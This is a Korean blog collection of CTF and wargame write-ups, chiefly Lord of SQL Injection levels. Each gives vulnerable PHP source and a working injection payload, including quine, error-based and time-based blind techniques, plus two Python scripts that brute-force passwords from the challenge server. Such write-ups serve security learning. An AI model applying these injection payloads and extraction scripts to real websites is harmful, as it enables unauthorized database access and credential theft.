반응형
반응형
반응형

alien

 

 

쿼리가 2개다.

 

query : select id from prob_alien where no=


 


query2 : select id from prob_alien where no=''

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/admin|and|or|if|coalesce|case|_|\.|prob|time/i'$_GET['no'])) exit("No Hack ~_~");
  $query = "select id from prob_alien where no={$_GET[no]}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $query2 = "select id from prob_alien where no='{$_GET[no]}'";
  echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
  if($_GET['no']){
    $r = mysqli_fetch_array(mysqli_query($db,$query));
    if($r['id'!== "admin"exit("sandbox1");
    $r = mysqli_fetch_array(mysqli_query($db,$query));
    if($r['id'=== "admin"exit("sandbox2");
    $r = mysqli_fetch_array(mysqli_query($db,$query2));
    if($r['id'=== "admin"exit("sandbox");
    $r = mysqli_fetch_array(mysqli_query($db,$query2));
    if($r['id'=== "admin") solve("alien");
  }
  highlight_file(__FILE__);
?>
cs

 

음?

 

query와 query2의 차이는 no= 다음에 ''가 있냐 없냐의 차이

 

query를 실행해서 나온 id가 admin이 아니면 죽고, admin이어도 죽는다.

query2를 실행해서 나온 id가 admin이면 죽고, admin이면 문제가 풀린다.

 

 

.................................? 뭘까?

 

50%확률로 admin을 return하면 되는 것일까..

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

query와 query2를 모두 동일한 명령으로 만드는 법:

 

 

?no=1 union select 1#' union select '1

 

 

query : select id from prob_alien where no=1 union select 1#' union select '1

query2 : select id from prob_alien where no='1 union select 1#' union select '1'

 

query에서는 #앞에가 실행되고, 뒤는 주석처리

query2에서는 #이 ''안의 문자열로 취급, 뒤 실행

 

 

 

 

?no=1%20union%20select%20concat(lower(hex(10%2b(!sleep(1)%26%26now()%2=1))),%200x646d696e)%23%27%20union%20select%20concat(lower(hex(9%2b(!sleep(1)%26%26now()%2=1))),%200x646d696e)%23%20

현재 시간에 따라 0이 될 수도 있고 1이 될 수도 있고 이를 이용

시간으로 admin을 내보낼지 bdmin을 내보낼지를 정함.

sleep(1)을 사용하여 처음에 admin이 되면 다음은 무조건 bdmin이 되도록.

 

 

 

ALIEN Clear!

 

 

문제들이 너무 어렵다. 풀이 참고하면서 이런 기법들도 있구나 하고 알아가는 정도로 넘어가야 겠다..ㅠㅠ

처음 내가 생각했던 방향과 얼마나 일치하는지도 보고,,,

반응형
반응형

zombie

 

 

음 이전 문제랑 뭐가 달라졌을까..

1
2
3
4
5
6
7
8
9
10
11
12
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect("zombie");
  if(preg_match('/rollup|join|ace|@/i'$_GET['pw'])) exit("No Hack ~_~");
  $query = "select pw from prob_zombie where pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>";
  if(($result['pw']) && ($result['pw'=== $_GET['pw'])) solve("zombie");
  highlight_file(__FILE__);
?>
cs

 

 

필터링 부분을 보면 ace를 필터링한다. 이는 replace을 필터링 하겠다는 것이다.

그래서 이전 문제에서 사용했던 페이로드를 사용할 수 없다..

 

+ 여전히 테이블은 텅텅 비어있다.

 

 

 

information_schema DB에 processlist 라는 테이블이 존재하는데, 해당 테이블의 INFO 칼럼에 이전에 실행했던 쿼리문이 저장되어있다고 한다.

 

 

 

' union select substr(info, 38, 72) from information_schema.processlist%23

 

 

ZOMBIE Clear!

 

 

 

반응형
반응형

ouroboros

 

우로보로스

 

 

 

와 소스코드가 짧아졌다!

1
2
3
4
5
6
7
8
9
10
11
12
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|rollup|join|@/i'$_GET['pw'])) exit("No Hack ~_~");
  $query = "select pw from prob_ouroboros where pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>";
  if(($result['pw']) && ($result['pw'=== $_GET['pw'])) solve("ouroboros");
  highlight_file(__FILE__);
?>
cs

 

 

query : select pw from prob_ouroboros where pw='1' or pw like '%'

query : select pw from prob_ouroboros where pw='1' or 1=1#'

 

흠.. 테이블에 아무것도 없는 것 같다.

 

테이블에 직접 데이터를 넣어줘야 할 것 같다. (개꿀문제가 아니었어 ㅠㅠ)

 

 

 

 

 

 

예전에도 테이블이 텅텅빈 문제가 있었던 것 같은데.. 찾아봐야 겠다.

 

https://mandu-mandu.tistory.com/333

 

LORD OF SQL INJECTION [green_dragon] 풀이

green_dragon 녹색 용용이 소스를 보자. 쿼리를 두 번 실행한다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19

mandu-mandu.tistory.com

 

uinon을 사용하자!

 

 

 

query : select pw from prob_ouroboros where pw='1' union select 1#'


 

Pw : 1

 

 

 if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("ouroboros");

근데 1' union slect 1%23 과 1을 어떻게 같게 하지..

 

 

 

 

 

Quine 이라는 것이 있다!

 

Quine Sql Injection

https://blog.rwx.kr/quine-sql-injection/

 

Quine SQL Injection - White Security

Quine SQL 이란 Quine 은 소스코드를 그대로 출력으로 반환하는 프로그램을 의미하는데위의 파이썬 소스코드를 참고하면 어떤 의미인지 쉽게 이해할 수 있을 것이다.이는 대부분의 언어로 작성되어 위키백과에 등재되어 있다. Quine SQL Query 마찬가지로 SQL 언어를 사용해 작성한 Quine 쿼리도 존재하는데, 위가 그 예이다. 여기서 필요없는 부분을 잘라내면 위와 같다. 이런 특성을 이용하여 SQL 인젝션에 응용할 수 있는데사용자 입력과 쿼리

blog.rwx.kr

 

 

?pw=1%27%20union%20SELECT%20REPLACE(REPLACE(%271"%20union%20SELECT%20REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$")%20AS%20Quine%23%27,CHAR(34),CHAR(39)),CHAR(36),%271"%20union%20SELECT%20REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$")%20AS%20Quine%23%27)%20AS%20Quine%23

 

 

 

OUROBOROS Clear!

 

 

 

https://www.shysecurity.com/post/20140705-SQLi-Quine

코게 문제에도 나왔었다고 한다.

 

반응형
반응형

https://wargame.infodsm.tech/

 

INFO WARGAME

Welcome to INFO WARGAME! Follow us on social media:  

wargame.infodsm.tech

 

Reversing

 

Very_Simple_Rev

150

 

아이다로 까서 문자열 보면 나온다.

반응형
반응형

Forensics

 

I AM STEGO!!

50

hxd로 열어서 끝부분에서 패스워드를 찾을 수 있다.

 

openstegoflag.txt 추출

 

 

 

Thinking

100

 

.zip으로 바꾸고 ppt> mediaFLAG.PNG가 존재한다.

 

 

You are in me

100

 

jpgfooter 시그니쳐ff d9를 찾으면 다음에 MZ 시그니쳐가 보인다.

카빙해서 IDA로 보면 xor 연산을 하는 것을 알 수 있다.

간단히 코드 짜서 xor 돌리면 플래그 나온다.

 

 

 

Header Trick

150

I think the header of this flag is wrong...

 

라고 한다. 압축파일 내용을 보면, 파일이 두 개가 존재하는데, flag.txt는 암호가 걸려있고, 다른 하나는 걸려있지 않다.

 

그렇다는 것은 실제로 패스워드는 걸려있지 않지만, flag.txt만 헤더 조작을 통해 암호화가 걸린 것 처럼 만든 것이다.

 

hxd를 통해 해더를 분석해보면 헤더가 다른 것이 보인다.

 

 

 

flag.txt만 00 09 08 08 00 이고 나머지는 00 00 00 08 00임을 알 수 있다.

 

09 08을 00 00로 덮어주고 열면 된다.

 

 

 

 

Something is inside me?!

200

 

IDA로 까서 strigs에서 보이는 문자열 ascii 85로 디코딩 해주면 된다.

https://cryptii.com/pipes/ascii85-encoding

 

힌트라고 한다면,, <- Guess what it is! There's 85 possibilitys. 여기서 85가 힌트일 듯 하다.

 

 

 

 

 

All your base are belong to newbie

350

 

png footer 시그니쳐 뒤에 elf 시그니쳐가 있다.

카빙후 실행하면 문제를 풀어야 한다. 문제 답은 IDA로 까보면 찾을 수 있다.

반응형
반응형

MISC

 

Triple Bass 50

base64 몇 번 돌리면 된다.

 

Honamseon

50

-1_0으로 치환 후,

 

6자리는 앞에 00을

7자리는 앞에 0을 붙여주어 8자리를 만들어 준 뒤에

 

아스키코드로 변환하면 된다.

 

 

Brain JS

150

 

두 개의 과정을 거치면 된다.

 

https://enkhee-osiris.github.io/Decoder-JSFuck/

 

 

JSFuck de-obfuscator

JSFuck decoder, de-obfuscator

enkhee-osiris.github.io

 

https://copy.sh/brainfuck/

 

El Brainfuck

A Brainfuck editor & optimizing interpreter, written in JavaScript. The code is converted to JavaScript code and then run in a web worker, which speeds up execution at lot (try mandelbrot.b for example). Load example program hanoi.bf yapi.b hellom.bf numwa

copy.sh

반응형
반응형

Pwnable

It's very simple bof

50

str과 str2 사이에 dummy가 없다고 가정하고 str2 10바이트 채워주고 바로 다음 Hello, world!로 str을 채워주면 된다.

반응형
반응형

PHANTOM

 

 

 

상단에 ip와 email이 나오는 테이블이 있다.

 

 

소스:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect("phantom");
 
  if($_GET['joinmail']){
    if(preg_match('/duplicate/i'$_GET['joinmail'])) exit("nice try");
    $query = "insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')";
    mysqli_query($db,$query);
    echo "<hr>query : <strong>{$query}</strong><hr>";
  }
 
  $rows = mysqli_query($db,"select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'");
  echo "<table border=1><tr><th>ip</th><th>email</th></tr>";
    while(($result = mysqli_fetch_array($rows))){
    if($result['no'== 1$result['email'= "**************";
    echo "<tr><td>{$result[ip]}</td><td>".htmlentities($result[email])."</td></tr>";
  }
  echo "</table>";
 
  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_phantom where no=1 and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'=== $_GET['email'])){ mysqli_query($db,"delete from prob_phantom where no != 1"); solve("phantom"); }
  highlight_file(__FILE__);
?>
cs

 

 

 


  if(
$_GET['joinmail']){
    if(preg_match('/duplicate/i', $_GET['joinmail'])) exit("nice try");
    $query = "insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')";
    mysqli_query($db,$query);
    echo "<hr>query : <strong>{$query}</strong><hr>";
  }

 

6~11행에서는 joinmail을 get방식으로 받는다.

입력값에서 duplicate라는 문자열을 필터링 하는데, duplicate가 있으면 nice try 라고 하고 죽어버린다.

duplicate와 비슷한 것들을 이용해야하는 건가..?

 

 

 

 

 

 

 

$rows = mysqli_query($db,"select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'");
  echo "<table border=1><tr><th>ip</th><th>email</th></tr>";
    while(($result = mysqli_fetch_array($rows))){
    if($result['no'] == 1) $result['email'] = "**************";
    echo "<tr><td>{$result[ip]}</td><td>".htmlentities($result[email])."</td></tr>"
;
  }

13~18행

no=1 or ip = '내 아이피' 에 있는 no, ip, email을 가져온다.

 

no가 1 이면 email을 *로 표시한다.

 

 

 

 

 

 

 

$_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_phantom where no=1 and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'] === $_GET['email'])){ mysqli_query($db,"delete from prob_phantom where no != 1"); solve("phantom"
); }

no가 1인 것의 email을 구해야 문제가 풀린다.

 

 

 

 

쿼리들을 순서대로 본다면, INSERT -> SELECT -> DELETE

 

값을 집어넣고, 가져와서 비교하고, 집어넣은 것들을 다시 없애기(초기화)

 

 

 

insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')

 

no = 0, ip, email 순서로 insert를 한다.

 

ip에 내 아이피가 들어가고, 

 

select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'

 

여기서 내 아이피인 것도 가져오기 때문에, 위에서 삽입한 행도 불러온다.

위에서 행을 삽입할 때, email을 no=1인 email을 복제해서 넣는다면 복제된 email을 볼 수 도 있을 것이다.

 

 

 

 

 

joinmail = hihi'), (10,'xxx.xxx.xxx.xxx','hello')%23

 

이렇게 하면 한 번에 값을 두개 넣을 수 있다.

 

 

 

 

 

 

그래서 이런 것을 시도해 봤다.

hihi'), (10,'xxx.xxx.xxx.xxx',(select email from prob_phantom where no=1))#

 

 

no=1인 것의 email을 가져와 넣는 것이다. 하지만 되지 않았다..

 

이유를 찾아보니..같은 테이블에서는 오류가 나는 것이었다.

 

 

 

 

 

임시테이블을 만들어서 그 임시테이블의 값을 가져온다면?

 

hihi'), (12,'xxx.xxx.xxx.xxx',(select e from (select email as e from prob_phantom where no=1)as t) )#

 

 

 

이제 나온 email을 파라미터로 전달하자.

 

 

 

 

 

PHANTOM Clear!

반응형
반응형

frankenstein

 

와 프랑켄슈타인

 

 

...

 

 

 

소스 보자

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(|\)|union/i'$_GET[pw])) exit("No Hack ~_~");
  $query = "select id,pw from prob_frankenstein where id='frankenstein' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit("error");
 
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_frankenstein where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("frankenstein");
  highlight_file(__FILE__);
?>
cs

 

pw만 get방식으로 받는다.

 

이번에도 pw를 구해야 한다.

근데 frankenstein이 아닌 admin이 id인 것의 pw를 구해야 한다.

 

 

if(mysqli_error($db)) exit("error"); 가 있기 때문에 error based sqli로 풀면 될 것 같다.

 

 

( 와 ) 를 사용할 수 없기 때문에 if를 case when then end로 우회를 했다.

 

또한, length()나 substr()을 사용할 수 없기 때문에, like와 %를 사용했다.

 

 

 

?pw=' or id='admin' and case when pw like '0%' then 1 else 9e307*2 end%23

 

pw like '0%' 가 true이면 1을, false이면 9e307*2를 반환.

 

 

9e307*2는 error을 만들어 낸다.

 

9e307보다 큰 수면 error가 나는데, 구문 자체에 9e308등의 수를 넣으면 그 구문자체가 error가 나버려서 true false 판별을 못한다.

 

 

 

exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"#~!@#$^&*()-_+="
 
 
key = ""
 
for i in range(8):
    for j in range(len(string)):
        #payload = "(select exp(710) where '"+string[j]+"'=(select substr(email,"+str(i+1)+",1) where id='admin'))"
        payload = "' or id='admin' and case when pw like '"+key+string[j]+"%' then 1 else 9e307*2 end#"
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php?pw="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie''PHPSESSID=your-cookie')
        request.get_method = lambda:'GET'
        data = opener.open(request)
        data = data.read()
 
        #print data
 
        if not "<br>error" in data:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"] "
            break
        else:
            print "[-] Fail!"
 
cs

 

 

 

 

 

FRANKENSTEIN Clear!

 

 

 

 

 

 

 

 

 

반응형
반응형

blue_dragon

 

 

파란 용용이

 

 

 

소스를 보자

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\./i'$_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\./i'$_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_blue_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(preg_match('/\'|\\\/i'$_GET[id])) exit("No Hack ~_~");
  if(preg_match('/\'|\\\/i'$_GET[pw])) exit("No Hack ~_~");
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
 
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_blue_dragon where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("blue_dragon");
  highlight_file(__FILE__);
?>
cs

 

'랑 \을 필터링한다.

 

근데 이 필터링을 쿼리를 실행하고서 필터링을 한다. 따라서 '이나 \을 넣어도 쿼리는 실행된다. 다만, 결과가 No Hack으로만 나올 뿐이다.

 

 

이때 time based sql injection을 사용하면 된다. 그럼 쿼리가 실행되서 그 결과를 시간으로 구별할 수 있다.

 

 

 

?id=admin' and if(length(pw)>0,sleep(1),0)%23

length(pw)>0이 참이면 sleep(1)을 반환한다.

 

 

 

 

 

time based sqli

https://mandu-mandu.tistory.com/331

 

LORD OF SQL INJECTION [hell_fire] 풀이

문제 소스: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21

mandu-mandu.tistory.com

 

 

 

 

?id=admin%27%20and%20if(length(pw)=8,sleep(1),0)%23

 

pw의 길이는 8이다.

 

 

 

 

 

 

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
 
 
key = ""
 
for i in range(8):
    for j in range(len(string)):
        payload = "admin' and if(substr(pw,"+str(i+1)+",1)='"+string[j]+"',sleep(1),0)#"
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php?id="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie''PHPSESSID=your_cookie')
        request.get_method = lambda:'GET'
 
        start = time.time()
 
        data = opener.open(request)
        data = data.read()
 
        end= time.time()-start
 
 
        if end > 1:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"] "
            break
        else:
            print "[-] Fail!"
 
cs

 

BLUE_DRAGON Clear!

반응형

+ Recent posts